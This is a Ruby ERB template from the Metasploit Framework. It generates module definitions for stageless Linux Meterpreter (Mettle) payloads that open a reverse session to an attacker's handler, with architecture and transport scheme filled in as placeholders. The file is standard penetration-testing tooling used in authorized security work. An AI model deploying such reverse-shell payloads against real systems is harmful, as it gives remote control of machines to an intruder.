41 lines
1.3 KiB
Plaintext
41 lines
1.3 KiB
Plaintext
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core/handler/reverse_<%= scheme %>'
|
|
require 'msf/base/sessions/meterpreter_options'
|
|
require 'msf/base/sessions/mettle_config'
|
|
require 'msf/base/sessions/meterpreter_<%= arch %>_linux'
|
|
|
|
module MetasploitModule
|
|
|
|
include Msf::Payload::Single
|
|
include Msf::Sessions::MeterpreterOptions
|
|
include Msf::Sessions::MettleConfig
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Linux Meterpreter, Reverse <%= scheme.upcase %> Inline',
|
|
'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',
|
|
'Author' => [
|
|
'Adam Cammack <adam_cammack[at]rapid7.com>',
|
|
'Brent Cook <brent_cook[at]rapid7.com>'
|
|
],
|
|
'Platform' => 'linux',
|
|
'Arch' => ARCH_<%= arch.upcase %>,
|
|
'License' => MSF_LICENSE,
|
|
'Handler' => Msf::Handler::Reverse<%= scheme.capitalize %>,
|
|
'Session' => Msf::Sessions::Meterpreter_<%= arch %>_Linux
|
|
)
|
|
)
|
|
end
|
|
|
|
def generate
|
|
opts = {scheme: '<%= scheme %>'}
|
|
MetasploitPayloads::Mettle.new('<%= payload %>', generate_config(opts)).to_binary :exec
|
|
end
|
|
end
|